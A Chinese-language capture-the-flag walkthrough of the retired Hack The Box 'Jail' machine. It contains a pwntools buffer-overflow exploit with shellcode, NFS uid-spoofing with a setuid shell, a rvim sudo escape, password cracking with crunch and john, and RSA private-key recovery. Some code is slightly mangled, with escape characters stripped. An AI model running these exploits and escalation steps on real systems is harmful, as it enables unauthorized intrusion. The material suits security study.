本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.34
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.34 -o ./jail-autorecon
最终的扫描结果
nfs服务详细信息
得知目标开放了两个共享目录,先看看80端口的web应用
发现了如上信息,没啥用,使用ffuf跑跑目录
ffuf -u http://10.10.10.34/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.c,.txt
跑出来了jailuser 访问得到如下
把上面文件都下载下来
通过查看得知源代码开放7411端口是个身份证登录验证的程序,通过测试验证此程序在目标靶机启动并开放7411端口,而且存缓冲区溢出漏洞
得到上述信息是本地启用此程序,然后本地监听了端口7411,使用nc -vn进行连接测试 最终得出可溢出的位置,便有了下面的利用代码,参考的shellcode是:https://www.exploit-db.com/exploits/34060
#!/usr/bin/env python from pwn import * import struct shellcode = "x6ax02x5bx6ax29x58xcdx80x48x89xc6" shellcode+="x31xc9x56x5bx6ax3fx58xcdx80x41x80" shellcode+="xf9x03x75xf5x6ax0bx58x99x52x31xf6" shellcode+="x56x68x2fx2fx73x68x68x2fx62x69x6e" shellcode+="x89xe3x31xc9xcdx80" payload = "A"*28 + struct.pack("<I",0xffffd610 + 32) + shellcode r = remote('10.10.10.34', 7411) r.sendline('DEBUG') print r.recv(1024) r.sendline('USER admin') print r.recv(1024) r.sendline('PASS ' + payload) r.interactive()
具体分析可参考这两篇文章
https://reboare.github.io/htb/htb-jail.html
https://medium.com/@gabriel.pirjolescu/hack-the-box-jail-write-up-e279862155d4
成功拿到一个低权限的shell,读取不了user.txt文件,需要提权到其他普通用户查看,这里前面扫描已经得出来了目标靶机存在nfs服务,并且开放了两个共享目录,利用方式以前也说过,通过本地创建跟目标用户相同的uid和gid ,然后使用此用户重新挂载nfs即可
查看到目标靶机存在普通用户frank,我们的目的是通过nfs提权横向移动到此用户,具体操作如下:
nfs提权 本地创建添加指定用户uid和gid sudo groupadd -g 1000 frank sudo adduser frank -uid 1000 -gid 1000 修改指定用户uid和gid usermod -u 1008 kali groupmod -g 1008 kali 创建C代码shell指定uid和gid为1000 #include <stdio.h> #include <stdlib.h> #includ <unistd.h> int main(int argc, char *argv[]) { setreuid(1000,1000); printf("ID:%d ",geteuid()); execve("/bin/sh",NULL,NULL); }
frank@kali:/mnt/jail/nfsshare$ gcc bmfxshell.c -o bmfxshits
frank@kali:/mnt/jail/nfsshare$ chmod u+s bmfxshits
因为本机kali占用了uid和gid为1000,所以需要先修改kali为其他的非1000的uid和gid然后再创建,成功之后重新挂载nfs,挂载完成记得是在挂载成功的目录下编译提权的C代码,我这测试在本地编译好复制过去提权不成功,上述成功之后得到如下信息:
通过上面可以看到需要再次横向移动到用户adm,其存在一个漏洞是可以通过rvim漏洞 https://github.com/vim/vim/issues/1543 进行绕过切换至用户adm
通过执行如下命令进行横向提权
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
:diffpatch $(sh <&2 >&2)
提权到用户adm得到如下提示信息
由于目标靶机shell不是太稳定,且不友好,我这就是base64编码的形式拿到本地kali中分析
上述的keys.rar是拿到本地来了,但是尝试打开的时候需要密码,再回头看看上述的其他提示信息,在谷歌上搜索了一把得到一片文章
所以根据提示使用命令crunch根据关键字生成字典通过john进行爆破
crunch 11 11 -t Morris1962^ > bmfxpass
开始对rar文件密码进行爆破之前先转换下
开始破解
得到密码 keys.rar:Morris1962!:1::rootauthorizedsshkey.pub 进行解压此rar文件
得到一个公钥,然后可以使用前面讲到的工具 https://github.com/Ganapati/RsaCtfTool将公钥变成私钥,将得到的使用连接目标靶机的root用户即可拿到root.txt
python3 RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private > id_rsa